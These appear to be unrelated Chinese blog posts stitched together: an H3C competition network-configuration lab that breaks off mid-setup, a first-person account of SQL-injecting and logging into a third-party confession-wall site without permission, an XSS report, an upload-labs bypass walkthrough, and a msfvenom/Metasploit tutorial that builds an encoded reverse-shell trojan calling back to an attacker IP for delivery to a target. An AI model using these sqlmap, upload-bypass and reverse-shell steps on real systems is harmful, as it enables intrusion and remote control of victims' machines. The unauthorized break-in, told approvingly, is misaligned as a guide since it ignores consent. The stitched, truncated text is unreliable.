2021年华三杯竞赛试题 2021年华三杯竞赛试题一、实验拓扑图二、需求本网络模拟一个大型企业网络，需要使用BGP/MPLS VPN技术来隔离不同的VPN,并使用防火墙来做到防攻击与访问策略。请考生根据以下配置需求在HCL中的设备上进行相关配置。PPP配置路由器R1与路由器R3间为广域网链路，使用PPP协议连通。PPP配置的具体要求如下：使用CHAP协议，并且为单向认证：R1作为认证方，R2作为被认证方：R1上配置本地AAA认证；用户名和密码均为123456。虚拟局域网为了减少广播，需要规划并配置VLAN。具体要求如下：配置合理，链路上不允许不必要的数据流通过。交换机与路由器间的互连物理端口直接使用三层模式互连。交换机(S1、S2、L2SW)间的互连端口链路类型为Trunk类型。根据上述信息及表1-1，在交换机上完成VLAN配置和端口分配。链路聚合在交换机S1和S2上配置链路聚合，要求使用二层静态链路聚合组，并设定组号为1；将接口G0/23与G0/24所在的链路聚合起来。MSTP部署在交换机S1、S2及L2SW上配置MSTP防止二层环路；所配置的参数要求如下：STP中的region-name为2021；其他相关要求见下表：IPv4地址部署VRRP部署在交换机S1、S2配置VRRP以提高可靠性，所配置的参数要求如下：S1作为VLAN10内主机的主用网关，S2作为VLAN20内主的主用网关，且互相备份：VRRP的主用优先级为150，备用优先级为110。IPv4IGP路由部署使用OSPF协议及静态路由互通。具体要求如下：R1、R2、R3之间运行OSPF;OSPF进程号为1，区域0；Router ID为本路由器的Loopback地址；R1与S1、S2之间运行OSPF;OSPF进程号为10，区域0：Router ID为本路由器的Loopback地址；S1、S2中的OSPF不允许将协议报文发送到业务网段中；要求OSPF及静态路由都发布具体网段(OSPF必须精确反掩码匹配)，不允许发布缺省路由；为了管理方便，OSPF需要发布Loopback地址，其中R1需要在OSPF进程1中发布。BGP/MPLS VPN部署各个路由器(R1、R2、R3)之间，以及R2与R4之间运行BGP协议。具体要求如下：R2与R4之间运行EBGP,R2属于AS100,R4属于AS300:R1、R2、R3之间运行IBGP,都属于AS100,并以Loopback地址作为互连的源地址：通过network命令方式生成BGP路由，而不允许通过import命令将IGP路由引入。R3与FW1、FW2之间运行静态VPN路由，并配置具体网段（不允许配置缺省路由）。配置两个VPN,并要求同一VPN内能够互访，不同VPN间不能互访。相关参数要求如下：MPLS的lsr-id使用Loopback地址，并使用LDP协议来进行标签分配。防火墙部署FW1、FW2上配置安全域和安全策略。具体要求如下：FWI、FW2与服务器互联接口处于Trust安全域，与R3接口处于Untrust安全域：FW1上配置地址对象组server1,并定义其主机地址为地址172.0.0.1/32；配置安全策略ap1,规则rule0,允许Untrust域中的客户端可以访问Trust域中目的地址为地址对象server1的所有P流量；FW2上配置地址对象组server2,并定义其主机地址为地址192.0.0.1/32；配置安全策略ap1,规则rule0,允许Untrust域中的客户端可以访问Trust.域中目的地址为地址对象server2的所有P流量；FW1、FW2上应用缺省IPS策略对用户数据报文进行IPS防御。具体要求如下：配置DPI应用profile,命名为sec,应用缺省IPS策略default并指定IPS策略模式为protect;在安全策略ap1上引用该sec;FW1、FW2上配置攻击防范策略。具体要求如下：FW1上配置攻击防范策略ad1,配置针对Sever1地址的SYN flood的攻击防范策略，阈值为2000，动作为丢弃并输出告警日志；在安全域Untrust上应用攻击防范策略ad1。FW2上配置攻击防范策略ad1,配置针对Sever2地址的SYNf1ood的攻击防范策略，阈值为2000，动作为丢弃并输出告警日志；在安全域Untrust上应用攻击防范策略ad1。IPv6部署在交换机S1、S2配置IPv6协议。要求使用OSPFv3协议，进程号为1，区域为0；Router ID与OSPF的Router ID相同。IPv6地址如下表所示：设备与网络管理部署根据表1-5，为网络设备配置主机名。三、实验步骤（一）配置ip地址如果你的拓扑图接口跟我一样那么就可以直接复制下面的命令R1sysname R1 interface gig 0/0 ip a 10.0.0.1 30 interface gig 0/1 ip a 10.0.0.5 30 interface gig 0/2 ip a 100.0.0.1 30 interface serial 1/0 ip a 100.0.0.10 30 interface loopback 0 ip a 9.9.9.1 32R2sysname R2 interface gig 0/0 ip a 100.0.0.2 30 interface gig 0/1 ip a 100.0.0.5 30 interface gig 0/2 ip a 10.0.0.9 30 interface l 0 ip a 9.9.9.2 32 R3sysname R3 interface gig 0/0 ip a 100.0.0.6 30 interface gig 0/1 ip a 10.0.0.13 30 interface gig 0/2 ip a 10.0.0.17 30 interface serial 1/0 ip a 100.0.0.9 30 interface loopback 0 ip a 9.9.9.3 32R4sysname R4 interface gi 0/0 ip a 10.0.0.10 30 interface gig 0/1 ip a 192.0.10.254 24 interface l 0 ip a 9.9.9.105 32S1sysname S1 interface gig 1/0/1 port link-mode route ip a 10.0.0.2 30 quit vlan 10 vlan 20 interface vlan 10 ip a 172.0.10.252 24 interface vlan 20 ip a 172.0.20.252 24 interface l 0 ip a 9.9.9.101 32S2sysname S2 interface gig 1/0/1 port link-mode route ip a 10.0.0.6 30 quit vlan 10 vlan 20 interface vlan 10 ip a 172.0.10.253 24 interface vlan 20 ip a 172.0.20.253 24 interface l 0 ip a 9.9.9.102 32FW1sysname FW1 interface gig 1/0/1 ip a 10.0.0.14 30 interface gig 1/0/0 ip a 172.0.0.254 24 interface l 0 ip a 9.9.9.201 32FW2sysname FW2 interface gig 1/0/1 ip a 10.0.0.18 30 interface gig 1/0/0 ip a 192.0.0.254 24 （二）ppp的配置R1[R1]local-user 123456 class network New local user added.

记一次渗透表白墙 前几天不是520什么什么的节日吗，然后我就在群里看到有人发了个表白站，我进去看了几眼，然后就随手一个Ctrl+d，到了今天才看到，就点进去看了一下，然后就有这篇文章了前台就是这样看了一下有人在表白，连真人图片都有，虽然别人都不怕被看见，还是打下码，就在这个页面https://xxx.cn/cont.php?id=64顺手一个单引号，页面就出问题了于是就拿出我们的sqlmap神器，把它丢进去，结果存在注入开始跑库名sqlmap -u "https://xxx.cn/cont.php?id=64" --dbs得到了数据库名后又继续，跑出了数据表，看到admin表最终得到了数据表中的内容，进行解密后，有些吃惊密码居然是admin，刚刚就应该先在后台登陆页面爆破一顿。现在访问/admin后台登陆页面成功登陆了后台由于自己太菜了就没有继续渗透下去了

记一次因为运气好挖到xss 一切都要无聊的早上说起，10.30上完网课，好久没有看看博客了。点了友情链接看看，故事就开始了看到评论区表情直接是img标签，尝试了<script>alert(1)</script>被无情的拦截，这样太尴尬了只能另找思路，正当我在想换思路时，看到有一个进去一看，可以发弹幕，尝试了<script>alert(1)</script>,成功弹了作为三好青年，我第一时间，联系了大佬，大佬很快修复了。

upload-labs通关 简介upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。项目地址: https://github.com/c0ny1/upload-labs运行环境操作系统 Window or Linux 推荐使用Windows，除了Pass-19必须在linux下，其余Pass都可以在Windows上运行PHP版本 推荐5.2.17 其他版本可能会导致部分Pass无法突破PHP组件 php_gd2,php_exif 部分Pass依赖这两个组件中间件 设置Apache以moudel方式连接第1关开启抓包，发现js限制通过禁用js轻松绕过第2关mime检查修改Content-Type: image/png第3关查看提示是黑名单限制，但是没有限制phtml将文件名改成phtml即可绕过访问看看，成功解析第4关查看提示，黑名单限制，已经限制了phtml发现没有限制.htaccess，因此上传一个内容：SetHandler application/x-httpd-php然后，再将改成png上传成功，访问试试看第5关已经禁止了.htaccess，因此显然不行使用后缀大小写混合即可绕过第6关尝试了一下上一关的方法，上传失败查看源代码，发现可以在后缀加空格绕过第7关后缀加点进行绕过第8关对后缀加入::$DATA进行绕过第9关在后缀加入. .即可绕过第10关双写绕过构造pphphp进行绕过第11关抓包发现可以修改路径，使用%00截断进行绕过第12关跟上一关对比，需要将%00进行url编码即可绕过学习中……

msfconsole(msf)渗透Windows 简介Metasploit是一款开源安全漏洞检测工具，附带数百个已知的软件漏洞，并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。生成首先我们打开kali，打开一个终端输入下面的命令并按下回车进行生成：msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 LHOST=192.168.1.106 LPORT=5555 -f exe > ./test.exeLHOST=192.168.1.106 此步是设置攻击者IP地址LPORT=5555 此步是设置木马将会主动连接攻击者设定的监听端口test.exe 木马名称生成完成后打开你存放的目录，我这里是root的根目录然后将这个文件发送到目标主机（先别急着运行）设置监听现在我们回到kali中，在终端中启动msf（启动命令：msfconsole）启动完成后下面开始设置监听依次输入下面命令 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.106 set LPORT 5555 exploitset LHOST 192.168.1.106 后面的ip地址是kali的ip获取kal ip的方法：在终端输入ifconfigset LPORT 5555 监听端口下面就是监听状态一切准备就绪现在可以去运行目标主机的那个msf文件好了此教程就到这里了
